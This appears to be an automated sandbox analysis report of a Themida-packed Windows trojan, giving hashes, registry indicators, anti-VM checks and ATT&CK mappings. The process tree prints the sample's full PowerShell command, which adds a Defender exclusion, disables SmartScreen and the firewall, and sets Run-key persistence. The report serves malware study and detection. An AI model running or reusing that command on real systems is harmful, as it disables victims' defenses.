8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154

General

Target

8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
Size

3.8MB
MD5

debb7adbe78865c8950deb98364378f6
SHA1

f705f91f018d64d135193115044f8e838c34f869
SHA256

8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154
SHA512

719427e6b19f63f9d1175c7a3765cc4c9aa61af041f2f4699b2498ec6fb540928a903bf2f6c1dd88fa3ad420e5823d52212c3d5374d15a4dea4f04dbb34bdfde

Score

10^/10

evasion persistence themida trojan

Malware Config

Signatures

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

powershell.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Start = "4" powershell.exe
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

UpSys.exeUpSys.exeUpSys.exe

pid process

976 UpSys.exe
5096 UpSys.exe
3556 UpSys.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

2436 netsh.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Start = "4"	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe

pid	process
976	UpSys.exe
5096	UpSys.exe
3556	UpSys.exe

pid	process
2436	netsh.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe

Drops startup file 1 IoCs

Processes:

8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/2552-118-0x00007FF7A9790000-0x00007FF7AA102000-memory.dmp	themida
behavioral2/memory/2552-120-0x00007FF7A9790000-0x00007FF7AA102000-memory.dmp	themida
C:\ProgramData\MicrosoftNetwork\System.exe	themida
behavioral2/memory/2552-228-0x00007FF7A9790000-0x00007FF7AA102000-memory.dmp	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinNet = "C:\\ProgramData\\MicrosoftNetwork\\System.exe"	powershell.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe

pid process

2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe

Modifies data under HKEY_USERS 52 IoCs

Processes:

powershell.exeUpSys.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exe8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exeUpSys.exeUpSys.exepowershell.exe

pid	process
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
976	UpSys.exe
976	UpSys.exe
976	UpSys.exe
976	UpSys.exe
5096	UpSys.exe
5096	UpSys.exe
5096	UpSys.exe
5096	UpSys.exe
4672	powershell.exe
4672	powershell.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
4672	powershell.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

Processes:

powershell.exeUpSys.exeUpSys.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeIncreaseQuotaPrivilege	4592	powershell.exe
Token: SeSecurityPrivilege	4592	powershell.exe
Token: SeTakeOwnershipPrivilege	4592	powershell.exe
Token: SeLoadDriverPrivilege	4592	powershell.exe
Token: SeSystemProfilePrivilege	4592	powershell.exe
Token: SeSystemtimePrivilege	4592	powershell.exe
Token: SeProfSingleProcessPrivilege	4592	powershell.exe
Token: SeIncBasePriorityPrivilege	4592	powershell.exe
Token: SeCreatePagefilePrivilege	4592	powershell.exe
Token: SeBackupPrivilege	4592	powershell.exe
Token: SeRestorePrivilege	4592	powershell.exe
Token: SeShutdownPrivilege	4592	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeSystemEnvironmentPrivilege	4592	powershell.exe
Token: SeRemoteShutdownPrivilege	4592	powershell.exe
Token: SeUndockPrivilege	4592	powershell.exe
Token: SeManageVolumePrivilege	4592	powershell.exe
Token: 33	4592	powershell.exe
Token: 34	4592	powershell.exe
Token: 35	4592	powershell.exe
Token: 36	4592	powershell.exe
Token: SeDebugPrivilege	976	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	976	UpSys.exe
Token: SeIncreaseQuotaPrivilege	976	UpSys.exe
Token: 0	976	UpSys.exe
Token: SeDebugPrivilege	5096	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	5096	UpSys.exe
Token: SeIncreaseQuotaPrivilege	5096	UpSys.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeBackupPrivilege	4592	powershell.exe
Token: SeBackupPrivilege	4592	powershell.exe
Token: SeRestorePrivilege	4592	powershell.exe
Token: SeSecurityPrivilege	4592	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exepowershell.exeUpSys.exe

description	pid	process	target process
PID 2552 wrote to memory of 4592	2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe	powershell.exe
PID 2552 wrote to memory of 4592	2552	8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe	powershell.exe
PID 4592 wrote to memory of 976	4592	powershell.exe	UpSys.exe
PID 4592 wrote to memory of 976	4592	powershell.exe	UpSys.exe
PID 4592 wrote to memory of 2436	4592	powershell.exe	netsh.exe
PID 4592 wrote to memory of 2436	4592	powershell.exe	netsh.exe
PID 3556 wrote to memory of 4672	3556	UpSys.exe	powershell.exe
PID 3556 wrote to memory of 4672	3556	UpSys.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
"C:\Users\Admin\AppData\Local\Temp\8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Drops startup file
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
2⤵
- Modifies security service
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4592

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:976

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5096

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
5⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:3556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4672

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
3⤵
- Modifies Windows Firewall
PID:2436

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

2

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Query Registry

2

T1012

Virtualization/Sandbox Evasion

1

T1497

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

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Downloads

C:\ProgramData\MicrosoftNetwork\System.exe
Filesize
3.8MB

MD5
debb7adbe78865c8950deb98364378f6

SHA1
f705f91f018d64d135193115044f8e838c34f869

SHA256
8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154

SHA512
719427e6b19f63f9d1175c7a3765cc4c9aa61af041f2f4699b2498ec6fb540928a903bf2f6c1dd88fa3ad420e5823d52212c3d5374d15a4dea4f04dbb34bdfde

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
memory/976-157-0x0000000000000000-mapping.dmp

Download
memory/2436-163-0x0000000000000000-mapping.dmp

Download
memory/2552-119-0x00007FFCCF0C0000-0x00007FFCCF29B000-memory.dmp

Filesize
1.9MB

Download
memory/2552-120-0x00007FF7A9790000-0x00007FF7AA102000-memory.dmp

Filesize
9.4MB

Download
memory/2552-229-0x00007FFCCF0C0000-0x00007FFCCF29B000-memory.dmp

Filesize
1.9MB

Download
memory/2552-118-0x00007FF7A9790000-0x00007FF7AA102000-memory.dmp

Filesize
9.4MB

Download
memory/2552-228-0x00007FF7A9790000-0x00007FF7AA102000-memory.dmp

Filesize
9.4MB

Download
memory/4592-126-0x0000016CFB150000-0x0000016CFB172000-memory.dmp

Filesize
136KB

Download
memory/4592-129-0x0000016CFB6D0000-0x0000016CFB746000-memory.dmp

Filesize
472KB

Download
memory/4592-121-0x0000000000000000-mapping.dmp

Download
memory/4672-166-0x0000000000000000-mapping.dmp

Download
memory/4672-211-0x00000221F18F0000-0x00000221F192C000-memory.dmp

Filesize
240KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads